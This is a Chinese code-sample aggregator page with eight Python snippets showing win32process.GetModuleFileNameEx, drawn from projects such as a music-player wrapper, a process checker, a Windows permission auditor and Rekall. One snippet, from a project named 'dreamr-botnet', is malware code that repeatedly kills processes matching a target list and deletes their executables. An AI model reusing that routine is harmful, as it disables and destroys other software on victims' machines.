Python win32process 模块,GetModuleFileNameEx() 实例源码

我们从Python开源项目中,提取了以下8个代码示例,用于说明如何使用win32process.GetModuleFileNameEx()

项目:ecel    作者:ARL-UTEP-OC    | 项目源码 | 文件源码
def get_process_name(self, event):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        if os.name == 'nt':
            hwnd = event.Window
            try:
                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
                return procname
            except:
                # this happens frequently enough - when the last event caused the closure of the window or program
                # so we just return a nice string and don't worry about it.
                return "noprocname"
        elif os.name == 'posix':
            return to_unicode(event.WindowProcName)
项目:ecel    作者:ARL-UTEP-OC    | 项目源码 | 文件源码
def get_process_name(self, event):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        if os.name == 'nt':
            hwnd = event.Window
            try:
                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
                return procname
            except:
                # this happens frequently enough - when the last event caused the closure of the window or program
                # so we just return a nice string and don't worry about it.
                return "noprocname"
        elif os.name == 'posix':
            #this line was modified to get 64 bit working
            return str(event.WindowProcName)
项目:darkc0de-old-stuff    作者:tuwid    | 项目源码 | 文件源码
def GetProcessNameFromHwnd(self, hwnd):
        '''Acquire the process name from the window handle for use in the log filename.
        '''
        threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

        # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)

        mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
        procname = win32process.GetModuleFileNameEx(mypyproc, 0)
        return procname
项目:aquests    作者:hansroh    | 项目源码 | 文件源码
def is_running (pid, cmd = None):
    if cmd is None:
        cmd = os.path.split (sys.argv [0])[1]

    if os.name == "nt":
        import win32process, win32api, win32con, pywintypes
        HAS_WMI = True
        try: import wmi 
        except ImportError: HAS_WMI = False

        if pid not in win32process.EnumProcesses ():
            return False

        if HAS_WMI:
            cl = [p.CommandLine for p in wmi.WMI ().Win32_Process () if p.ProcessID == pid]
            if cl and cl [0].find (cmd) != -1:
                return True
            return False

        else:   
            try:
                handle = win32api.OpenProcess (win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, 0, int (pid))
                exefilename = win32process.GetModuleFileNameEx (handle, 0)
                win32process.GetStartupInfo()
                if exefilename.lower ().find ("python.exe") != -1 or exefilename.lower ().find ("cmd.exe") != -1:
                    return True
            except pywintypes.error: 
                # Windows service, Access is denied
                return False

    else:
        proc = "/proc/%s/cmdline" % pid
        if not os.path.isfile (proc):
            return False

        with open (proc) as f:
            exefilename = f.read ()     
        if exefilename.find (cmd) != -1:
            return True

    return False
项目:pyaimp    作者:EpocDotFr    | 项目源码 | 文件源码
def _get_aimp_exe_path(self):
        """Find the AIMP executable path given its window handler.

        :raises RuntimeError: The AIMP executable path cannot be found.
        :rtype: None
        """
        win_thread_proc_id = win32process.GetWindowThreadProcessId(self._aimp_window)

        pwnd = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, win_thread_proc_id[1])

        self._aimp_exe_path = win32process.GetModuleFileNameEx(pwnd, None)

        if not self._aimp_exe_path:
            raise RuntimeError('Unable to retrieve the AIMP executable.')
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def run(self):
        pythoncom.CoInitialize()
        self.drmwmi = wmi.WMI()
        while (True):
            for process in self.drmwmi.Win32_Process():
                for selectedProcess in BadProcesses:
                    try:
                        if selectedProcess.lower() in process.Name.lower():
                            try:
                                handle = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, process.ProcessId)
                                filename = win32process.GetModuleFileNameEx(handle, 0)
                                if os.path.isfile(filename) and not DEBUG_MODE:
                                    execute("taskkill", ("/F", "/IM", filename), True)
                                    time.sleep(random.randint(1, 4))
                                    os.remove(filename)
                            except Exception as e:
                                pass
                            process.Terminate()
                    except Exception as e:
                        pass
            time.sleep(random.randint(1, 10))
项目:LHF    作者:blindfuzzy    | 项目源码 | 文件源码
def check_processes():
    pids = win32process.EnumProcesses()
    # TODO also check out WMI.  It might not be running, but it could help if it is:  
    #      http://groups.google.com/group/comp.lang.python/browse_thread/thread/1f50065064173ccb
    # TODO process explorer can find quite a lot more information than this script.  This script has several problems:
    # TODO I can't open 64-bit processes for a 32-bit app.  I get this error:
    # ERROR: can't open 6100: 299 EnumProcessModules, Only part of a ReadProcessMemory
    #        or WriteProcessMemory request was completed.
    # TODO I can't seem to get the name of elevated processes (user running as me, but with admin privs)
    # TODO I can't get details of certain processes runnign as SYSTEM on xp (e.g. pid 4 "system", csrss.exe)
    # TODO should be able to find name (and threads?) for all processes.  Not necessarily path.

    for pid in sorted(pids):
        # TODO there's a security descriptor for each process accessible via GetSecurityInfo according to http://msdn.microsoft.com/en-us/library/ms684880%28VS.85%29.aspx
        # TODO could we connect with PROCESS_QUERY_LIMITED_INFORMATION instead on Vista+
        try:
            ph = win32api.OpenProcess(win32con.PROCESS_VM_READ | win32con.PROCESS_QUERY_INFORMATION , False, pid)
        except:
            # print "ERROR: can't connected to PID " + str(pid)
            sys.stdout.write("?")
            continue
        else:
            user = "unknown\\unknown"
            try:
                tokenh = win32security.OpenProcessToken(ph, win32con.TOKEN_QUERY)
            except:
                pass
            else:
                sidObj, intVal = win32security.GetTokenInformation(tokenh, TokenUser)
                #source = win32security.GetTokenInformation(tokenh, TokenSource)
                if sidObj:
                    accountName, domainName, accountTypeInt = win32security.LookupAccountSid(remote_server, sidObj)
                    # print "pid=%d accountname=%s domainname=%s wow64=%s" % (pid, accountName, domainName, win32process.IsWow64Process(ph))
                    user = domainName + "\\" + accountName

            # print "PID %d is running as %s" % (pid, user)
            sys.stdout.write(".")
            try:
                mhs = win32process.EnumProcessModules(ph)
                # print mhs
            except:
                continue

            mhs = list(mhs)
            exe = win32process.GetModuleFileNameEx(ph, mhs.pop(0))
            weak_perms = check_weak_write_perms(exe, 'file')
            # print_weak_perms("PID " + str(pid) + " running as " + user + ":", weak_perms)
            if weak_perms:
                save_issue("WPC016", "weak_perms_exes", weak_perms)
                sys.stdout.write("!")

            for mh in mhs:
                # print "PID %d (%s) has loaded module: %s" % (pid, exe, win32process.GetModuleFileNameEx(ph, mh))
                dll = win32process.GetModuleFileNameEx(ph, mh)
                weak_perms = check_weak_write_perms(dll, 'file')
                # print_weak_perms("DLL used by PID " + str(pid) + " running as " + user + " (" + exe + "):", weak_perms)
                if weak_perms:
                    save_issue("WPC016", "weak_perms_dlls", weak_perms)
                    sys.stdout.write("!")
    print
项目:rvmi-rekall    作者:fireeye    | 项目源码 | 文件源码
def EnumMissingModules():
  """Enumerate all modules which match the patterns MODULE_PATTERNS.
  PyInstaller often fails to locate all dlls which are required at
  runtime. We import all the client modules here, we simply introdpect
  all the modules we have loaded in our current running process, and
  all the ones matching the patterns are copied into the client
  package.
  Yields:
    a source file for a linked dll.
  """
  module_handle = ctypes.c_ulong()
  count = ctypes.c_ulong()
  process_handle = ctypes.windll.kernel32.OpenProcess(
      PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, os.getpid())
  ctypes.windll.psapi.EnumProcessModules(
      process_handle, ctypes.byref(module_handle), ctypes.sizeof(module_handle),
      ctypes. byref(count))

  # The size of a handle is pointer size (i.e. 64 bit on amd64 and 32 bit on
  # i386).
  if sys.maxsize > 2 ** 32:
    handle_type = ctypes.c_ulonglong
  else:
    handle_type = ctypes.c_ulong

  module_list = (handle_type * (count.value / ctypes.sizeof(handle_type)))()

  ctypes.windll.psapi.EnumProcessModulesEx(
      process_handle, ctypes.byref(module_list), ctypes.sizeof(module_list),
      ctypes.byref(count), 2)

  for x in module_list:
    module_filename = win32process.GetModuleFileNameEx(process_handle, x).lower()
    # PyInstaller is pretty bad in finding all the imported pyd files, and dlls.
    if ("winsxs" in module_filename or "site-packages" in module_filename or
        module_filename.endswith(".pyd") or "msvc" in module_filename or
        "\\dlls" in module_filename):
        yield module_filename
    else:
        print "Skipping %s" % module_filename